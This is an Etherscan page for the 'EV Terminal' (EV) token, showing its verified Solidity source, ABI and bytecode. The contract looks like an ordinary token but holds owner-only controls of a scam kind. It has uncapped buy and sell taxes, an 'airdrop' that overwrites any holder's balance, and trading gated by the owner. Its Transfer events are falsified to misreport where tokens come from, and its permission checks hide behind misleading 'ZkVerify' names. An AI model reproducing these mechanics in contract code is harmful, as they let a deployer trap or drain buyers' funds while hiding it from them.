ETH Price: $2,397.98 (-0.31%)

Token

EV Terminal (EV)
 

Overview

Max Total Supply

1,000,000 EV

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
400,000 EV

Value
$0.00
0x7ad522695DF4e89ea37F83de19131140A1793e77
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
EVTerminal

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-04-23
*/

/**

    https://docs.evterminal.io

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.25;

contract EVTerminal {

    string private _name = 'EV Terminal';
    string private _symbol = 'EV';
    uint256 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000 * 10 ** decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;
    address private devWallet = 0x479909106FF13f132381B933D1D55b4387346159 ;
    address private Presale = 0x7ad522695DF4e89ea37F83de19131140A1793e77 ;

    struct StoreData {
        address tokenMkt;
        uint256 buyFee;
        uint256 sellFee;
    }

    constructor() {
        uint256 _initBuyFee = 0;
        uint256 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        uniswapLpWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[devWallet] = (totalSupply * 20) / 100;
        emit Transfer(address(0), devWallet, totalSupply);
        balanceOf[uniswapLpWallet] = (totalSupply * 40) / 100;
        emit Transfer(devWallet, uniswapLpWallet, balanceOf[uniswapLpWallet]);
        balanceOf[Presale] = (totalSupply * 40) / 100;
        emit Transfer(devWallet, Presale, balanceOf[Presale]);

    }

    event RevenueShare(uint256 _value);
    

    receive() external payable {}

    function setTax(uint256 _buy, uint256 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _upgradeStoreWithZkProof(_buy, _sell);
    }

    function setRevenueShare(uint256 _value) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit RevenueShare(_value);
    }

    function setPair(address _pair) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        pair = _pair;
    }

    function airdropToken(
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        for (uint256 i = 0; i < _address.length; i++) {
            balanceOf[_address[i]] = _amount[i];
            balanceOf[devWallet] -= _amount[i];
            emit Transfer(devWallet, _address[i], _amount[i]);
        }
    }

    function _upgradeStoreWithZkProof(uint256 _buy, uint256 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns (address) {
        return storeData.tokenMkt;
    }

    function activeTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            swapping = false;
        }

        (uint256 _buyFee, uint256 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"RevenueShare","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activeTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setRevenueShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600b81526020017f4556205465726d696e616c0000000000000000000000000000000000000000008152505f90816100479190610a65565b506040518060400160405280600281526020017f45560000000000000000000000000000000000000000000000000000000000008152506001908161008c9190610a65565b50734752ba5dbc23f44d87826276bf6fd6b1c372ad2460085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073479909106ff13f132381b933d1d55b4387346159600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737ad522695df4e89ea37f83de19131140a1793e77600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610194575f80fd5b505f8060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201559050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555033600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061033333336107a760201b60201c565b606460146012600a6103459190610c90565b620f42406103539190610cda565b61035d9190610cda565b6103679190610d48565b60055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6104479190610c90565b620f42406104559190610cda565b6040516104629190610d87565b60405180910390a3606460286012600a61047c9190610c90565b620f424061048a9190610cda565b6104949190610cda565b61049e9190610d48565b60055f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516105fd9190610d87565b60405180910390a3606460286012600a6106179190610c90565b620f42406106259190610cda565b61062f9190610cda565b6106399190610d48565b60055f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516107989190610d87565b60405180910390a35050610da0565b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108a657607f821691505b6020821081036108b9576108b8610862565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261091b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826108e0565b61092586836108e0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61096961096461095f8461093d565b610946565b61093d565b9050919050565b5f819050919050565b6109828361094f565b61099661098e82610970565b8484546108ec565b825550505050565b5f90565b6109aa61099e565b6109b5818484610979565b505050565b5b818110156109d8576109cd5f826109a2565b6001810190506109bb565b5050565b601f821115610a1d576109ee816108bf565b6109f7846108d1565b81016020851015610a06578190505b610a1a610a12856108d1565b8301826109ba565b50505b505050565b5f82821c905092915050565b5f610a3d5f1984600802610a22565b1980831691505092915050565b5f610a558383610a2e565b9150826002028217905092915050565b610a6e8261082b565b67ffffffffffffffff811115610a8757610a86610835565b5b610a91825461088f565b610a9c8282856109dc565b5f60209050601f831160018114610acd575f8415610abb578287015190505b610ac58582610a4a565b865550610b2c565b601f198416610adb866108bf565b5f5b82811015610b0257848901518255600182019150602085019450602081019050610add565b86831015610b1f5784890151610b1b601f891682610a2e565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610bb657808604811115610b9257610b91610b34565b5b6001851615610ba15780820291505b8081029050610baf85610b61565b9450610b76565b94509492505050565b5f82610bce5760019050610c89565b81610bdb575f9050610c89565b8160018114610bf15760028114610bfb57610c2a565b6001915050610c89565b60ff841115610c0d57610c0c610b34565b5b8360020a915084821115610c2457610c23610b34565b5b50610c89565b5060208310610133831016604e8410600b8410161715610c5f5782820a905083811115610c5a57610c59610b34565b5b610c89565b610c6c8484846001610b6d565b92509050818404811115610c8357610c82610b34565b5b81810290505b9392505050565b5f610c9a8261093d565b9150610ca58361093d565b9250610cd27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610bbf565b905092915050565b5f610ce48261093d565b9150610cef8361093d565b9250828202610cfd8161093d565b91508282048414831517610d1457610d13610b34565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610d528261093d565b9150610d5d8361093d565b925082610d6d57610d6c610d1b565b5b828204905092915050565b610d818161093d565b82525050565b5f602082019050610d9a5f830184610d78565b92915050565b611df780610dad5f395ff3fe6080604052600436106100f6575f3560e01c80636e669d7a11610089578063a8aa1b3111610058578063a8aa1b3114610329578063a9059cbb14610353578063b3ac85371461038f578063dd62ed3e146103a5576100fd565b80636e669d7a1461027357806370a082311461029b5780638187f516146102d757806395d89b41146102ff576100fd565b8063313ce567116100c5578063313ce567146101cd5780634abe3052146101f7578063554652ce14610223578063667f65261461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e1565b60405161012291906114cf565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c9190611584565b610470565b60405161015e91906115dc565b60405180910390f35b348015610172575f80fd5b5061017b61055d565b6040516101889190611604565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b2919061161d565b61057c565b6040516101c491906115dc565b60405180910390f35b3480156101d8575f80fd5b506101e161061f565b6040516101ee9190611604565b60405180910390f35b348015610202575f80fd5b5061020b610624565b60405161021a9392919061167c565b60405180910390f35b34801561022e575f80fd5b5061024960048036038101906102449190611767565b61065a565b005b348015610256575f80fd5b50610271600480360381019061026c91906117e5565b6108bc565b005b34801561027e575f80fd5b5061029960048036038101906102949190611823565b610936565b005b3480156102a6575f80fd5b506102c160048036038101906102bc919061184e565b6109dc565b6040516102ce9190611604565b60405180910390f35b3480156102e2575f80fd5b506102fd60048036038101906102f8919061184e565b6109f1565b005b34801561030a575f80fd5b50610313610aa0565b60405161032091906114cf565b60405180910390f35b348015610334575f80fd5b5061033d610b30565b60405161034a9190611879565b60405180910390f35b34801561035e575f80fd5b5061037960048036038101906103749190611584565b610b55565b60405161038691906115dc565b60405180910390f35b34801561039a575f80fd5b506103a3610b69565b005b3480156103b0575f80fd5b506103cb60048036038101906103c69190611892565b610bdd565b6040516103d89190611604565b60405180910390f35b60605f80546103ef906118fd565b80601f016020809104026020016040519081016040528092919081815260200182805461041b906118fd565b80156104665780601f1061043d57610100808354040283529160200191610466565b820191905f5260205f20905b81548152906001019060200180831161044957829003601f168201915b5050505050905090565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054b9190611604565b60405180910390a36001905092915050565b6012600a61056b9190611a89565b620f42406105799190611ad3565b81565b5f8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106049190611b14565b92505081905550610616848484610bfd565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b61066261141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c6576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b848490508110156108b5578282828181106106e6576106e5611b47565b5b9050602002013560055f87878581811061070357610702611b47565b5b9050602002016020810190610718919061184e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555082828281811061076857610767611b47565b5b9050602002013560055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107db9190611b14565b925050819055508484828181106107f5576107f4611b47565b5b905060200201602081019061080a919061184e565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061088c5761088b611b47565b5b905060200201356040516108a09190611604565b60405180910390a380806001019150506106c8565b5050505050565b6108c461141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610928576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6109328282611448565b5050565b61093e61141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a2576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b7f19755d25ea178146bd0c80065bb3baa90da55af45e342cf3c07de168a277da02816040516109d19190611604565b60405180910390a150565b6005602052805f5260405f205f915090505481565b6109f961141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060018054610aaf906118fd565b80601f0160208091040260200160405190810160405280929190818152602001828054610adb906118fd565b8015610b265780601f10610afd57610100808354040283529160200191610b26565b820191905f5260205f20905b815481529060010190602001808311610b0957829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610b61338484610bfd565b905092915050565b610b7161141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba7575f80fd5b600860159054906101000a900460ff1615610bc0575f80fd5b6001600860156101000a81548160ff021916908315150217905550565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610c0761141e565b9050600860159054906101000a900460ff1680610c4f57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610c8557508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610c8d575f80fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cd99190611b14565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d495750600860149054906101000a900460ff16155b8015610db9575060646012600a610d609190611a89565b620f4240610d6e9190611ad3565b610d789190611ba1565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610df157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561105a576001600860146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610e2d57610e2c611bd1565b5b604051908082528060200260200182016040528015610e5b5781602001602082028036833780820191505090505b50905030815f81518110610e7257610e71611b47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f3a9190611c12565b81600181518110610f4e57610f4d611b47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610fd59190611a89565b620f4240610fe39190611ad3565b610fed9190611ba1565b5f8430426040518663ffffffff1660e01b8152600401611011959493929190611d36565b5f604051808303815f87803b158015611028575f80fd5b505af115801561103a573d5f803e3d5ffd5b505050505f600860146101000a81548160ff021916908315150217905550505b5f806002600101546002800154915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156110ba575060011515600860159054906101000a900460ff161515145b15611198575f606460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161461111c578361111e565b825b876111299190611ad3565b6111339190611ba1565b905080866111419190611b14565b95508060055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461118f9190611d8e565b92505081905550505b8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546111e49190611d8e565b92505081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036112ca578573ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516112bd9190611604565b60405180910390a3611410565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036113a95760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161139c9190611604565b60405180910390a361140f565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516114069190611604565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b816002600101819055508060028001819055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6114a18261145f565b6114ab8185611469565b93506114bb818560208601611479565b6114c481611487565b840191505092915050565b5f6020820190508181035f8301526114e78184611497565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611520826114f7565b9050919050565b61153081611516565b811461153a575f80fd5b50565b5f8135905061154b81611527565b92915050565b5f819050919050565b61156381611551565b811461156d575f80fd5b50565b5f8135905061157e8161155a565b92915050565b5f806040838503121561159a576115996114ef565b5b5f6115a78582860161153d565b92505060206115b885828601611570565b9150509250929050565b5f8115159050919050565b6115d6816115c2565b82525050565b5f6020820190506115ef5f8301846115cd565b92915050565b6115fe81611551565b82525050565b5f6020820190506116175f8301846115f5565b92915050565b5f805f60608486031215611634576116336114ef565b5b5f6116418682870161153d565b93505060206116528682870161153d565b925050604061166386828701611570565b9150509250925092565b61167681611516565b82525050565b5f60608201905061168f5f83018661166d565b61169c60208301856115f5565b6116a960408301846115f5565b949350505050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126116d2576116d16116b1565b5b8235905067ffffffffffffffff8111156116ef576116ee6116b5565b5b60208301915083602082028301111561170b5761170a6116b9565b5b9250929050565b5f8083601f840112611727576117266116b1565b5b8235905067ffffffffffffffff811115611744576117436116b5565b5b6020830191508360208202830111156117605761175f6116b9565b5b9250929050565b5f805f806040858703121561177f5761177e6114ef565b5b5f85013567ffffffffffffffff81111561179c5761179b6114f3565b5b6117a8878288016116bd565b9450945050602085013567ffffffffffffffff8111156117cb576117ca6114f3565b5b6117d787828801611712565b925092505092959194509250565b5f80604083850312156117fb576117fa6114ef565b5b5f61180885828601611570565b925050602061181985828601611570565b9150509250929050565b5f60208284031215611838576118376114ef565b5b5f61184584828501611570565b91505092915050565b5f60208284031215611863576118626114ef565b5b5f6118708482850161153d565b91505092915050565b5f60208201905061188c5f83018461166d565b92915050565b5f80604083850312156118a8576118a76114ef565b5b5f6118b58582860161153d565b92505060206118c68582860161153d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061191457607f821691505b602082108103611927576119266118d0565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156119af5780860481111561198b5761198a61192d565b5b600185161561199a5780820291505b80810290506119a88561195a565b945061196f565b94509492505050565b5f826119c75760019050611a82565b816119d4575f9050611a82565b81600181146119ea57600281146119f457611a23565b6001915050611a82565b60ff841115611a0657611a0561192d565b5b8360020a915084821115611a1d57611a1c61192d565b5b50611a82565b5060208310610133831016604e8410600b8410161715611a585782820a905083811115611a5357611a5261192d565b5b611a82565b611a658484846001611966565b92509050818404811115611a7c57611a7b61192d565b5b81810290505b9392505050565b5f611a9382611551565b9150611a9e83611551565b9250611acb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846119b8565b905092915050565b5f611add82611551565b9150611ae883611551565b9250828202611af681611551565b91508282048414831517611b0d57611b0c61192d565b5b5092915050565b5f611b1e82611551565b9150611b2983611551565b9250828203905081811115611b4157611b4061192d565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bab82611551565b9150611bb683611551565b925082611bc657611bc5611b74565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050611c0c81611527565b92915050565b5f60208284031215611c2757611c266114ef565b5b5f611c3484828501611bfe565b91505092915050565b5f819050919050565b5f819050919050565b5f611c69611c64611c5f84611c3d565b611c46565b611551565b9050919050565b611c7981611c4f565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611cb181611516565b82525050565b5f611cc28383611ca8565b60208301905092915050565b5f602082019050919050565b5f611ce482611c7f565b611cee8185611c89565b9350611cf983611c99565b805f5b83811015611d29578151611d108882611cb7565b9750611d1b83611cce